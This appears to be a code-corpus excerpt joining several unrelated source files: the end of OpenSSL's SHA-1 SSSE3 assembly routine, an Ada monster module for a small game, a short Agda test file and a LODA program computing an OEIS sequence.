XMMWORD PTR 64[esp],xmm0 and esi,ecx xor ecx,edx psrldq xmm6,4 xor esi,edx add edi,eax pxor xmm4,xmm0 ror ebx,2 add edi,esi pxor xmm6,xmm2 add edx,DWORD PTR 4[esp] xor ebx,ecx mov esi,edi rol edi,5 pxor xmm4,xmm6 and ebp,ebx xor ebx,ecx movdqa XMMWORD PTR 48[esp],xmm7 xor ebp,ecx add edx,edi movdqa xmm0,xmm4 movdqa xmm6,xmm4 ror eax,7 add edx,ebp add ecx,DWORD PTR 8[esp] xor eax,ebx pslldq xmm0,12 paddd xmm4,xmm4 mov ebp,edx rol edx,5 and esi,eax xor eax,ebx psrld xmm6,31 xor esi,ebx add ecx,edx movdqa xmm7,xmm0 ror edi,7 add ecx,esi psrld xmm0,30 por xmm4,xmm6 add ebx,DWORD PTR 12[esp] xor edi,eax mov esi,ecx rol ecx,5 pslld xmm7,2 pxor xmm4,xmm0 and ebp,edi xor edi,eax movdqa xmm0,XMMWORD PTR 96[esp] xor ebp,eax add ebx,ecx pxor xmm4,xmm7 movdqa xmm5,xmm2 ror edx,7 add ebx,ebp add eax,DWORD PTR 16[esp] xor edx,edi DB 102,15,58,15,233,8 movdqa xmm7,xmm4 mov ebp,ebx rol ebx,5 paddd xmm0,xmm4 movdqa XMMWORD PTR 80[esp],xmm1 and esi,edx xor edx,edi psrldq xmm7,4 xor esi,edi add eax,ebx pxor xmm5,xmm1 ror ecx,7 add eax,esi pxor xmm7,xmm3 add edi,DWORD PTR 20[esp] xor ecx,edx mov esi,eax rol eax,5 pxor xmm5,xmm7 and ebp,ecx xor ecx,edx movdqa XMMWORD PTR [esp],xmm0 xor ebp,edx add edi,eax movdqa xmm1,xmm5 movdqa xmm7,xmm5 ror ebx,7 add edi,ebp add edx,DWORD PTR 24[esp] xor ebx,ecx pslldq xmm1,12 paddd xmm5,xmm5 mov ebp,edi rol edi,5 and esi,ebx xor ebx,ecx psrld xmm7,31 xor esi,ecx add edx,edi movdqa xmm0,xmm1 ror eax,7 add edx,esi psrld xmm1,30 por xmm5,xmm7 add ecx,DWORD PTR 28[esp] xor eax,ebx mov esi,edx rol edx,5 pslld xmm0,2 pxor xmm5,xmm1 and ebp,eax xor eax,ebx movdqa xmm1,XMMWORD PTR 112[esp] xor ebp,ebx add ecx,edx pxor xmm5,xmm0 movdqa xmm6,xmm3 ror edi,7 add ecx,ebp add ebx,DWORD PTR 32[esp] xor edi,eax DB 102,15,58,15,242,8 movdqa xmm0,xmm5 mov ebp,ecx rol ecx,5 paddd xmm1,xmm5 movdqa XMMWORD PTR 96[esp],xmm2 and esi,edi xor edi,eax psrldq xmm0,4 xor esi,eax add ebx,ecx pxor xmm6,xmm2 ror edx,7 add ebx,esi pxor xmm0,xmm4 add eax,DWORD PTR 36[esp] xor edx,edi mov esi,ebx rol ebx,5 pxor xmm6,xmm0 and ebp,edx xor edx,edi movdqa XMMWORD PTR 16[esp],xmm1 xor ebp,edi add eax,ebx movdqa xmm2,xmm6 movdqa xmm0,xmm6 ror ecx,7 add eax,ebp add edi,DWORD PTR 40[esp] xor ecx,edx pslldq xmm2,12 paddd xmm6,xmm6 mov ebp,eax rol eax,5 and esi,ecx xor ecx,edx psrld xmm0,31 xor esi,edx add edi,eax movdqa xmm1,xmm2 ror ebx,7 add edi,esi psrld xmm2,30 por xmm6,xmm0 add edx,DWORD PTR 44[esp] xor ebx,ecx movdqa xmm0,XMMWORD PTR 64[esp] mov esi,edi rol edi,5 pslld xmm1,2 pxor xmm6,xmm2 and ebp,ebx xor ebx,ecx movdqa xmm2,XMMWORD PTR 112[esp] xor ebp,ecx add edx,edi pxor xmm6,xmm1 movdqa xmm7,xmm4 ror eax,7 add edx,ebp add ecx,DWORD PTR 48[esp] xor eax,ebx DB 102,15,58,15,251,8 movdqa xmm1,xmm6 mov ebp,edx rol edx,5 paddd xmm2,xmm6 movdqa XMMWORD PTR 64[esp],xmm3 and esi,eax xor eax,ebx psrldq xmm1,4 xor esi,ebx add ecx,edx pxor xmm7,xmm3 ror edi,7 add ecx,esi pxor xmm1,xmm5 add ebx,DWORD PTR 52[esp] xor edi,eax mov esi,ecx rol ecx,5 pxor xmm7,xmm1 and ebp,edi xor edi,eax movdqa XMMWORD PTR 32[esp],xmm2 xor ebp,eax add ebx,ecx movdqa xmm3,xmm7 movdqa xmm1,xmm7 ror edx,7 add ebx,ebp add eax,DWORD PTR 56[esp] xor edx,edi pslldq xmm3,12 paddd xmm7,xmm7 mov ebp,ebx rol ebx,5 and esi,edx xor edx,edi psrld xmm1,31 xor esi,edi add eax,ebx movdqa xmm2,xmm3 ror ecx,7 add eax,esi psrld xmm3,30 por xmm7,xmm1 add edi,DWORD PTR 60[esp] xor ecx,edx movdqa xmm1,XMMWORD PTR 80[esp] mov esi,eax rol eax,5 pslld xmm2,2 pxor xmm7,xmm3 and ebp,ecx xor ecx,edx movdqa xmm3,XMMWORD PTR 112[esp] xor ebp,edx add edi,eax pxor xmm7,xmm2 ror ebx,7 add edi,ebp movdqa xmm2,xmm7 add edx,DWORD PTR [esp] pxor xmm0,xmm4 DB 102,15,58,15,214,8 xor ebx,ecx mov ebp,edi rol edi,5 pxor xmm0,xmm1 movdqa XMMWORD PTR 80[esp],xmm4 and esi,ebx xor ebx,ecx movdqa xmm4,xmm3 paddd xmm3,xmm7 xor esi,ecx add edx,edi pxor xmm0,xmm2 ror eax,7 add edx,esi add ecx,DWORD PTR 4[esp] xor eax,ebx movdqa xmm2,xmm0 movdqa XMMWORD PTR 48[esp],xmm3 mov esi,edx rol edx,5 and ebp,eax xor eax,ebx pslld xmm0,2 xor ebp,ebx add ecx,edx psrld xmm2,30 ror edi,7 add ecx,ebp add ebx,DWORD PTR 8[esp] xor edi,eax mov ebp,ecx rol ecx,5 por xmm0,xmm2 and esi,edi xor edi,eax movdqa xmm2,XMMWORD PTR 96[esp] xor esi,eax add ebx,ecx ror edx,7 add ebx,esi add eax,DWORD PTR 12[esp] movdqa xmm3,xmm0 xor edx,edi mov esi,ebx rol ebx,5 and ebp,edx xor edx,edi xor ebp,edi add eax,ebx ror ecx,7 add eax,ebp add edi,DWORD PTR 16[esp] pxor xmm1,xmm5 DB 102,15,58,15,223,8 xor esi,edx mov ebp,eax rol eax,5 pxor xmm1,xmm2 movdqa XMMWORD PTR 96[esp],xmm5 xor esi,ecx add edi,eax movdqa xmm5,xmm4 paddd xmm4,xmm0 ror ebx,7 add edi,esi pxor xmm1,xmm3 add edx,DWORD PTR 20[esp] xor ebp,ecx mov esi,edi rol edi,5 movdqa xmm3,xmm1 movdqa XMMWORD PTR [esp],xmm4 xor ebp,ebx add edx,edi ror eax,7 add edx,ebp pslld xmm1,2 add ecx,DWORD PTR 24[esp] xor esi,ebx psrld xmm3,30 mov ebp,edx rol edx,5 xor esi,eax add ecx,edx ror edi,7 add ecx,esi por xmm1,xmm3 add ebx,DWORD PTR 28[esp] xor ebp,eax movdqa xmm3,XMMWORD PTR 64[esp] mov esi,ecx rol ecx,5 xor ebp,edi add ebx,ecx ror edx,7 movdqa xmm4,xmm1 add ebx,ebp add eax,DWORD PTR 32[esp] pxor xmm2,xmm6 DB 102,15,58,15,224,8 xor esi,edi mov ebp,ebx rol ebx,5 pxor xmm2,xmm3 movdqa XMMWORD PTR 64[esp],xmm6 xor esi,edx add eax,ebx movdqa xmm6,XMMWORD PTR 128[esp] paddd xmm5,xmm1 ror ecx,7 add eax,esi pxor xmm2,xmm4 add edi,DWORD PTR 36[esp] xor ebp,edx mov esi,eax rol eax,5 movdqa xmm4,xmm2 movdqa XMMWORD PTR 16[esp],xmm5 xor ebp,ecx add edi,eax ror ebx,7 add edi,ebp pslld xmm2,2 add edx,DWORD PTR 40[esp] xor esi,ecx psrld xmm4,30 mov ebp,edi rol edi,5 xor esi,ebx add edx,edi ror eax,7 add edx,esi por xmm2,xmm4 add ecx,DWORD PTR 44[esp] xor ebp,ebx movdqa xmm4,XMMWORD PTR 80[esp] mov esi,edx rol edx,5 xor ebp,eax add ecx,edx ror edi,7 movdqa xmm5,xmm2 add ecx,ebp add ebx,DWORD PTR 48[esp] pxor xmm3,xmm7 DB 102,15,58,15,233,8 xor esi,eax mov ebp,ecx rol ecx,5 pxor xmm3,xmm4 movdqa XMMWORD PTR 80[esp],xmm7 xor esi,edi add ebx,ecx movdqa xmm7,xmm6 paddd xmm6,xmm2 ror edx,7 add ebx,esi pxor xmm3,xmm5 add eax,DWORD PTR 52[esp] xor ebp,edi mov esi,ebx rol ebx,5 movdqa xmm5,xmm3 movdqa XMMWORD PTR 32[esp],xmm6 xor ebp,edx add eax,ebx ror ecx,7 add eax,ebp pslld xmm3,2 add edi,DWORD PTR 56[esp] xor esi,edx psrld xmm5,30 mov ebp,eax rol eax,5 xor esi,ecx add edi,eax ror ebx,7 add edi,esi por xmm3,xmm5 add edx,DWORD PTR 60[esp] xor ebp,ecx movdqa xmm5,XMMWORD PTR 96[esp] mov esi,edi rol edi,5 xor ebp,ebx add edx,edi ror eax,7 movdqa xmm6,xmm3 add edx,ebp add ecx,DWORD PTR [esp] pxor xmm4,xmm0 DB 102,15,58,15,242,8 xor esi,ebx mov ebp,edx rol edx,5 pxor xmm4,xmm5 movdqa XMMWORD PTR 96[esp],xmm0 xor esi,eax add ecx,edx movdqa xmm0,xmm7 paddd xmm7,xmm3 ror edi,7 add ecx,esi pxor xmm4,xmm6 add ebx,DWORD PTR 4[esp] xor ebp,eax mov esi,ecx rol ecx,5 movdqa xmm6,xmm4 movdqa XMMWORD PTR 48[esp],xmm7 xor ebp,edi add ebx,ecx ror edx,7 add ebx,ebp pslld xmm4,2 add eax,DWORD PTR 8[esp] xor esi,edi psrld xmm6,30 mov ebp,ebx rol ebx,5 xor esi,edx add eax,ebx ror ecx,7 add eax,esi por xmm4,xmm6 add edi,DWORD PTR 12[esp] xor ebp,edx movdqa xmm6,XMMWORD PTR 64[esp] mov esi,eax rol eax,5 xor ebp,ecx add edi,eax ror ebx,7 movdqa xmm7,xmm4 add edi,ebp add edx,DWORD PTR 16[esp] pxor xmm5,xmm1 DB 102,15,58,15,251,8 xor esi,ecx mov ebp,edi rol edi,5 pxor xmm5,xmm6 movdqa XMMWORD PTR 64[esp],xmm1 xor esi,ebx add edx,edi movdqa xmm1,xmm0 paddd xmm0,xmm4 ror eax,7 add edx,esi pxor xmm5,xmm7 add ecx,DWORD PTR 20[esp] xor ebp,ebx mov esi,edx rol edx,5 movdqa xmm7,xmm5 movdqa XMMWORD PTR [esp],xmm0 xor ebp,eax add ecx,edx ror edi,7 add ecx,ebp pslld xmm5,2 add ebx,DWORD PTR 24[esp] xor esi,eax psrld xmm7,30 mov ebp,ecx rol ecx,5 xor esi,edi add ebx,ecx ror edx,7 add ebx,esi por xmm5,xmm7 add eax,DWORD PTR 28[esp] xor ebp,edi movdqa xmm7,XMMWORD PTR 80[esp] mov esi,ebx rol ebx,5 xor ebp,edx add eax,ebx ror ecx,7 movdqa xmm0,xmm5 add eax,ebp mov ebp,ecx pxor xmm6,xmm2 DB 102,15,58,15,196,8 xor ecx,edx add edi,DWORD PTR 32[esp] and ebp,edx pxor xmm6,xmm7 movdqa XMMWORD PTR 80[esp],xmm2 and esi,ecx ror ebx,7 movdqa xmm2,xmm1 paddd xmm1,xmm5 add edi,ebp mov ebp,eax pxor xmm6,xmm0 rol eax,5 add edi,esi xor ecx,edx add edi,eax movdqa xmm0,xmm6 movdqa XMMWORD PTR 16[esp],xmm1 mov esi,ebx xor ebx,ecx add edx,DWORD PTR 36[esp] and esi,ecx pslld xmm6,2 and ebp,ebx ror eax,7 psrld xmm0,30 add edx,esi mov esi,edi rol edi,5 add edx,ebp xor ebx,ecx add edx,edi por xmm6,xmm0 mov ebp,eax xor eax,ebx movdqa xmm0,XMMWORD PTR 96[esp] add ecx,DWORD PTR 40[esp] and ebp,ebx and esi,eax ror edi,7 add ecx,ebp movdqa xmm1,xmm6 mov ebp,edx rol edx,5 add ecx,esi xor eax,ebx add ecx,edx mov esi,edi xor edi,eax add ebx,DWORD PTR 44[esp] and esi,eax and ebp,edi ror edx,7 add ebx,esi mov esi,ecx rol ecx,5 add ebx,ebp xor edi,eax add ebx,ecx mov ebp,edx pxor xmm7,xmm3 DB 102,15,58,15,205,8 xor edx,edi add eax,DWORD PTR 48[esp] and ebp,edi pxor xmm7,xmm0 movdqa XMMWORD PTR 96[esp],xmm3 and esi,edx ror ecx,7 movdqa xmm3,XMMWORD PTR 144[esp] paddd xmm2,xmm6 add eax,ebp mov ebp,ebx pxor xmm7,xmm1 rol ebx,5 add eax,esi xor edx,edi add eax,ebx movdqa xmm1,xmm7 movdqa XMMWORD PTR 32[esp],xmm2 mov esi,ecx xor ecx,edx add edi,DWORD PTR 52[esp] and esi,edx pslld xmm7,2 and ebp,ecx ror ebx,7 psrld xmm1,30 add edi,esi mov esi,eax rol eax,5 add edi,ebp xor ecx,edx add edi,eax por xmm7,xmm1 mov ebp,ebx xor ebx,ecx movdqa xmm1,XMMWORD PTR 64[esp] add edx,DWORD PTR 56[esp] and ebp,ecx and esi,ebx ror eax,7 add edx,ebp movdqa xmm2,xmm7 mov ebp,edi rol edi,5 add edx,esi xor ebx,ecx add edx,edi mov esi,eax xor eax,ebx add ecx,DWORD PTR 60[esp] and esi,ebx and ebp,eax ror edi,7 add ecx,esi mov esi,edx rol edx,5 add ecx,ebp xor eax,ebx add ecx,edx mov ebp,edi pxor xmm0,xmm4 DB 102,15,58,15,214,8 xor edi,eax add ebx,DWORD PTR [esp] and ebp,eax pxor xmm0,xmm1 movdqa XMMWORD PTR 64[esp],xmm4 and esi,edi ror edx,7 movdqa xmm4,xmm3 paddd xmm3,xmm7 add ebx,ebp mov ebp,ecx pxor xmm0,xmm2 rol ecx,5 add ebx,esi xor edi,eax add ebx,ecx movdqa xmm2,xmm0 movdqa XMMWORD PTR 48[esp],xmm3 mov esi,edx xor edx,edi add eax,DWORD PTR 4[esp] and esi,edi pslld xmm0,2 and ebp,edx ror ecx,7 psrld xmm2,30 add eax,esi mov esi,ebx rol ebx,5 add eax,ebp xor edx,edi add eax,ebx por xmm0,xmm2 mov ebp,ecx xor ecx,edx movdqa xmm2,XMMWORD PTR 80[esp] add edi,DWORD PTR 8[esp] and ebp,edx and esi,ecx ror ebx,7 add edi,ebp movdqa xmm3,xmm0 mov ebp,eax rol eax,5 add edi,esi xor ecx,edx add edi,eax mov esi,ebx xor ebx,ecx add edx,DWORD PTR 12[esp] and esi,ecx and ebp,ebx ror eax,7 add edx,esi mov esi,edi rol edi,5 add edx,ebp xor ebx,ecx add edx,edi mov ebp,eax pxor xmm1,xmm5 DB 102,15,58,15,223,8 xor eax,ebx add ecx,DWORD PTR 16[esp] and ebp,ebx pxor xmm1,xmm2 movdqa XMMWORD PTR 80[esp],xmm5 and esi,eax ror edi,7 movdqa xmm5,xmm4 paddd xmm4,xmm0 add ecx,ebp mov ebp,edx pxor xmm1,xmm3 rol edx,5 add ecx,esi xor eax,ebx add ecx,edx movdqa xmm3,xmm1 movdqa XMMWORD PTR [esp],xmm4 mov esi,edi xor edi,eax add ebx,DWORD PTR 20[esp] and esi,eax pslld xmm1,2 and ebp,edi ror edx,7 psrld xmm3,30 add ebx,esi mov esi,ecx rol ecx,5 add ebx,ebp xor edi,eax add ebx,ecx por xmm1,xmm3 mov ebp,edx xor edx,edi movdqa xmm3,XMMWORD PTR 96[esp] add eax,DWORD PTR 24[esp] and ebp,edi and esi,edx ror ecx,7 add eax,ebp movdqa xmm4,xmm1 mov ebp,ebx rol ebx,5 add eax,esi xor edx,edi add eax,ebx mov esi,ecx xor ecx,edx add edi,DWORD PTR 28[esp] and esi,edx and ebp,ecx ror ebx,7 add edi,esi mov esi,eax rol eax,5 add edi,ebp xor ecx,edx add edi,eax mov ebp,ebx pxor xmm2,xmm6 DB 102,15,58,15,224,8 xor ebx,ecx add edx,DWORD PTR 32[esp] and ebp,ecx pxor xmm2,xmm3 movdqa XMMWORD PTR 96[esp],xmm6 and esi,ebx ror eax,7 movdqa xmm6,xmm5 paddd xmm5,xmm1 add edx,ebp mov ebp,edi pxor xmm2,xmm4 rol edi,5 add edx,esi xor ebx,ecx add edx,edi movdqa xmm4,xmm2 movdqa XMMWORD PTR 16[esp],xmm5 mov esi,eax xor eax,ebx add ecx,DWORD PTR 36[esp] and esi,ebx pslld xmm2,2 and ebp,eax ror edi,7 psrld xmm4,30 add ecx,esi mov esi,edx rol edx,5 add ecx,ebp xor eax,ebx add ecx,edx por xmm2,xmm4 mov ebp,edi xor edi,eax movdqa xmm4,XMMWORD PTR 64[esp] add ebx,DWORD PTR 40[esp] and ebp,eax and esi,edi ror edx,7 add ebx,ebp movdqa xmm5,xmm2 mov ebp,ecx rol ecx,5 add ebx,esi xor edi,eax add ebx,ecx mov esi,edx xor edx,edi add eax,DWORD PTR 44[esp] and esi,edi and ebp,edx ror ecx,7 add eax,esi mov esi,ebx rol ebx,5 add eax,ebp xor edx,edi add eax,ebx add edi,DWORD PTR 48[esp] pxor xmm3,xmm7 DB 102,15,58,15,233,8 xor esi,edx mov ebp,eax rol eax,5 pxor xmm3,xmm4 movdqa XMMWORD PTR 64[esp],xmm7 xor esi,ecx add edi,eax movdqa xmm7,xmm6 paddd xmm6,xmm2 ror ebx,7 add edi,esi pxor xmm3,xmm5 add edx,DWORD PTR 52[esp] xor ebp,ecx mov esi,edi rol edi,5 movdqa xmm5,xmm3 movdqa XMMWORD PTR 32[esp],xmm6 xor ebp,ebx add edx,edi ror eax,7 add edx,ebp pslld xmm3,2 add ecx,DWORD PTR 56[esp] xor esi,ebx psrld xmm5,30 mov ebp,edx rol edx,5 xor esi,eax add ecx,edx ror edi,7 add ecx,esi por xmm3,xmm5 add ebx,DWORD PTR 60[esp] xor ebp,eax mov esi,ecx rol ecx,5 xor ebp,edi add ebx,ecx ror edx,7 add ebx,ebp add eax,DWORD PTR [esp] paddd xmm7,xmm3 xor esi,edi mov ebp,ebx rol ebx,5 xor esi,edx movdqa XMMWORD PTR 48[esp],xmm7 add eax,ebx ror ecx,7 add eax,esi add edi,DWORD PTR 4[esp] xor ebp,edx mov esi,eax rol eax,5 xor ebp,ecx add edi,eax ror ebx,7 add edi,ebp add edx,DWORD PTR 8[esp] xor esi,ecx mov ebp,edi rol edi,5 xor esi,ebx add edx,edi ror eax,7 add edx,esi add ecx,DWORD PTR 12[esp] xor ebp,ebx mov esi,edx rol edx,5 xor ebp,eax add ecx,edx ror edi,7 add ecx,ebp mov ebp,DWORD PTR 196[esp] cmp ebp,DWORD PTR 200[esp] je $L005done movdqa xmm7,XMMWORD PTR 160[esp] movdqa xmm6,XMMWORD PTR 176[esp] movdqu xmm0,XMMWORD PTR [ebp] movdqu xmm1,XMMWORD PTR 16[ebp] movdqu xmm2,XMMWORD PTR 32[ebp] movdqu xmm3,XMMWORD PTR 48[ebp] add ebp,64 DB 102,15,56,0,198 mov DWORD PTR 196[esp],ebp movdqa XMMWORD PTR 96[esp],xmm7 add ebx,DWORD PTR 16[esp] xor esi,eax DB 102,15,56,0,206 mov ebp,ecx rol ecx,5 paddd xmm0,xmm7 xor esi,edi add ebx,ecx ror edx,7 add ebx,esi movdqa XMMWORD PTR [esp],xmm0 add eax,DWORD PTR 20[esp] xor ebp,edi psubd xmm0,xmm7 mov esi,ebx rol ebx,5 xor ebp,edx add eax,ebx ror ecx,7 add eax,ebp add edi,DWORD PTR 24[esp] xor esi,edx mov ebp,eax rol eax,5 xor esi,ecx add edi,eax ror ebx,7 add edi,esi add edx,DWORD PTR 28[esp] xor ebp,ecx mov esi,edi rol edi,5 xor ebp,ebx add edx,edi ror eax,7 add edx,ebp add ecx,DWORD PTR 32[esp] xor esi,ebx DB 102,15,56,0,214 mov ebp,edx rol edx,5 paddd xmm1,xmm7 xor esi,eax add ecx,edx ror edi,7 add ecx,esi movdqa XMMWORD PTR 16[esp],xmm1 add ebx,DWORD PTR 36[esp] xor ebp,eax psubd xmm1,xmm7 mov esi,ecx rol ecx,5 xor ebp,edi add ebx,ecx ror edx,7 add ebx,ebp add eax,DWORD PTR 40[esp] xor esi,edi mov ebp,ebx rol ebx,5 xor esi,edx add eax,ebx ror ecx,7 add eax,esi add edi,DWORD PTR 44[esp] xor ebp,edx mov esi,eax rol eax,5 xor ebp,ecx add edi,eax ror ebx,7 add edi,ebp add edx,DWORD PTR 48[esp] xor esi,ecx DB 102,15,56,0,222 mov ebp,edi rol edi,5 paddd xmm2,xmm7 xor esi,ebx add edx,edi ror eax,7 add edx,esi movdqa XMMWORD PTR 32[esp],xmm2 add ecx,DWORD PTR 52[esp] xor ebp,ebx psubd xmm2,xmm7 mov esi,edx rol edx,5 xor ebp,eax add ecx,edx ror edi,7 add ecx,ebp add ebx,DWORD PTR 56[esp] xor esi,eax mov ebp,ecx rol ecx,5 xor esi,edi add ebx,ecx ror edx,7 add ebx,esi add eax,DWORD PTR 60[esp] xor ebp,edi mov esi,ebx rol ebx,5 xor ebp,edx add eax,ebx ror ecx,7 add eax,ebp mov ebp,DWORD PTR 192[esp] add eax,DWORD PTR [ebp] add esi,DWORD PTR 4[ebp] add ecx,DWORD PTR 8[ebp] mov DWORD PTR [ebp],eax add edx,DWORD PTR 12[ebp] mov DWORD PTR 4[ebp],esi add edi,DWORD PTR 16[ebp] mov DWORD PTR 8[ebp],ecx mov ebx,esi mov DWORD PTR 12[ebp],edx mov DWORD PTR 16[ebp],edi movdqa xmm4,xmm1 jmp $L004loop ALIGN 16 $L005done: add ebx,DWORD PTR 16[esp] xor esi,eax mov ebp,ecx rol ecx,5 xor esi,edi add ebx,ecx ror edx,7 add ebx,esi add eax,DWORD PTR 20[esp] xor ebp,edi mov esi,ebx rol ebx,5 xor ebp,edx add eax,ebx ror ecx,7 add eax,ebp add edi,DWORD PTR 24[esp] xor esi,edx mov ebp,eax rol eax,5 xor esi,ecx add edi,eax ror ebx,7 add edi,esi add edx,DWORD PTR 28[esp] xor ebp,ecx mov esi,edi rol edi,5 xor ebp,ebx add edx,edi ror eax,7 add edx,ebp add ecx,DWORD PTR 32[esp] xor esi,ebx mov ebp,edx rol edx,5 xor esi,eax add ecx,edx ror edi,7 add ecx,esi add ebx,DWORD PTR 36[esp] xor ebp,eax mov esi,ecx rol ecx,5 xor ebp,edi add ebx,ecx ror edx,7 add ebx,ebp add eax,DWORD PTR 40[esp] xor esi,edi mov ebp,ebx rol ebx,5 xor esi,edx add eax,ebx ror ecx,7 add eax,esi add edi,DWORD PTR 44[esp] xor ebp,edx mov esi,eax rol eax,5 xor ebp,ecx add edi,eax ror ebx,7 add edi,ebp add edx,DWORD PTR 48[esp] xor esi,ecx mov ebp,edi rol edi,5 xor esi,ebx add edx,edi ror eax,7 add edx,esi add ecx,DWORD PTR 52[esp] xor ebp,ebx mov esi,edx rol edx,5 xor ebp,eax add ecx,edx ror edi,7 add ecx,ebp add ebx,DWORD PTR 56[esp] xor esi,eax mov ebp,ecx rol ecx,5 xor esi,edi add ebx,ecx ror edx,7 add ebx,esi add eax,DWORD PTR 60[esp] xor ebp,edi mov esi,ebx rol ebx,5 xor ebp,edx add eax,ebx ror ecx,7 add eax,ebp mov ebp,DWORD PTR 192[esp] add eax,DWORD PTR [ebp] mov esp,DWORD PTR 204[esp] add esi,DWORD PTR 4[ebp] add ecx,DWORD PTR 8[ebp] mov DWORD PTR [ebp],eax add edx,DWORD PTR 12[ebp] mov DWORD PTR 4[ebp],esi add edi,DWORD PTR 16[ebp] mov DWORD PTR 8[ebp],ecx mov DWORD PTR 12[ebp],edx mov DWORD PTR 16[ebp],edi pop edi pop esi pop ebx pop ebp ret __sha1_block_data_order_ssse3 ENDP ALIGN 64 $LK_XX_XX:: DD 1518500249,1518500249,1518500249,1518500249 DD 1859775393,1859775393,1859775393,1859775393 DD 2400959708,2400959708,2400959708,2400959708 DD 3395469782,3395469782,3395469782,3395469782 DD 66051,67438087,134810123,202182159 DB 83,72,65,49,32,98,108,111,99,107,32,116,114,97,110,115 DB 102,111,114,109,32,102,111,114,32,120,56,54,44,32,67,82 DB 89,80,84,79,71,65,77,83,32,98,121,32,60,97,112,112 DB 114,111,64,111,112,101,110,115,115,108,46,111,114,103,62,0 .text$ ENDS .bss SEGMENT 'BSS' COMM _OPENSSL_ia32cap_P:QWORD .bss ENDS END
src/monsters.adb
thomas070605/shoot-n-loot
0
826
-- Shoot'n'loot -- Copyright (c) 2020 <NAME> with Game_Assets.Tileset; with Game_Assets.Tileset_Collisions; with Game_Assets.Misc_Objects; with GESTE_Config; use GESTE_Config; with GESTE.Tile_Bank; with GESTE.Sprite.Animated; with Sound; package body Monsters is package Item renames Game_Assets.Misc_Objects.Item; Tile_Bank : aliased GESTE.Tile_Bank.Instance (Game_Assets.Tileset.Tiles'Access, Game_Assets.Tileset_Collisions.Tiles'Access, Game_Assets.Palette'Access); Empty_Tile : constant GESTE_Config.Tile_Index := Item.Empty_Tile.Tile_Id; type Monster_Rec is record Sprite : aliased GESTE.Sprite.Animated.Instance (Tile_Bank'Access, GESTE_Config.No_Tile); Origin : GESTE.Pix_Point; Pos : GESTE.Pix_Point; Alive : Boolean := False; Going_Right : Boolean := True; Offset : Natural := 0; end record; Monster_Array : array (1 .. Max_Nbr_Of_Monsters) of Monster_Rec; Last_Monster : Natural := 0; Nbr_Killed : Natural := 0; Anim_Step_Duration : constant := 10; Monster_Animation : aliased constant GESTE.Sprite.Animated.Animation_Array := ((Item.M1.Tile_Id, Anim_Step_Duration), (Item.M2.Tile_Id, Anim_Step_Duration), (Item.M3.Tile_Id, Anim_Step_Duration), (Item.M4.Tile_Id, Anim_Step_Duration), (Item.M5.Tile_Id, Anim_Step_Duration), (Item.M6.Tile_Id, Anim_Step_Duration), (Item.M7.Tile_Id, Anim_Step_Duration)); ---------- -- Init -- ---------- procedure Init (Objects : Object_Array) is begin Last_Monster := 0; Nbr_Killed := 0; for Monster of Objects loop Last_Monster := Last_Monster + 1; declare M : Monster_Rec renames Monster_Array (Last_Monster); begin M.Sprite.Set_Animation (Monster_Animation'Access, Looping => True); M.Alive := True; M.Origin := (Integer (Monster.X), Integer (Monster.Y) - 8); M.Pos := M.Origin; M.Sprite.Move (M.Origin); GESTE.Add (M.Sprite'Access, 2); end; end loop; end Init; --------------- -- Check_Hit -- --------------- function Check_Hit (Pt : GESTE.Pix_Point; Lethal : Boolean) return Boolean is begin for M of Monster_Array (Monster_Array'First .. Last_Monster) loop if M.Alive and then Pt.X in M.Pos.X .. M.Pos.X + Tile_Size and then Pt.Y in M.Pos.Y .. M.Pos.Y + Tile_Size then if Lethal then -- Replace the monster by an empty tile to erase it from the -- screen. M.Sprite.Set_Animation (GESTE.Sprite.Animated.No_Animation, Looping => False); M.Sprite.Set_Tile (Empty_Tile); M.Alive := False; Nbr_Killed := Nbr_Killed + 1; Sound.Play_Monster_Dead; end if; return True; end if; end loop; return False; end Check_Hit; ---------------- -- All_Killed -- ---------------- function All_Killed return Boolean is (Nbr_Killed = Last_Monster); ------------ -- Update -- ------------ procedure Update is begin for M of Monster_Array (Monster_Array'First .. Last_Monster) loop if M.Alive then M.Sprite.Signal_Frame; M.Pos := (M.Origin.X + M.Offset / 5, M.Origin.Y); M.Sprite.Move (M.Pos); if M.Going_Right then if M.Offset >= GESTE_Config.Tile_Size * 2 * 5 then M.Going_Right := False; else M.Offset := M.Offset + 1; end if; else if M.Offset = 0 then M.Going_Right := True; else M.Offset := M.Offset - 1; end if; end if; end if; end loop; end Update; end Monsters;
archive/agda-3/src/Test/Test1.agda
m0davis/oscar
0
319
<filename>archive/agda-3/src/Test/Test1.agda {-# OPTIONS --allow-unsolved-metas #-} -- FIXME open import Everything module Test.Test1 where test-functor-transextensionality : ∀ {𝔬₁ 𝔯₁ ℓ₁ 𝔬₂ 𝔯₂ ℓ₂} ⦃ functor : Functor 𝔬₁ 𝔯₁ ℓ₁ 𝔬₂ 𝔯₂ ℓ₂ ⦄ (open Functor functor) → {!Transextensionality!.type _∼₁_ _∼̇₁_!} test-functor-transextensionality = transextensionality -- test-functor-transextensionality ⦃ functor ⦄ = let open Functor ⦃ … ⦄ in transextensionality1
programs/oeis/062/A062963.asm
neoneye/loda
22
176523
; A062963: Mu(n) * H(n) where H(n) is A023022. ; -1,0,-2,1,-3,0,0,2,-5,0,-6,3,4,0,-8,0,-9,0,6,5,-11,0,0,6,0,0,-14,-4,-15,0,10,8,12,0,-18,9,12,0,-20,-6,-21,0,0,11,-23,0,0,0,16,0,-26,0,20,0,18,14,-29,0,-30,15,0,0,24,-10,-33,0,22,-12,-35,0,-36,18,0,0,30,-12,-39,0,0,20,-41,0,32,21,28,0,-44,0,36,0,30,23,36 add $0,2 mov $1,$0 seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. seq $1,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0. mul $0,$1 div $0,2
data/music/great.asm
sinusoid-studios/rhythm-land
11
98032
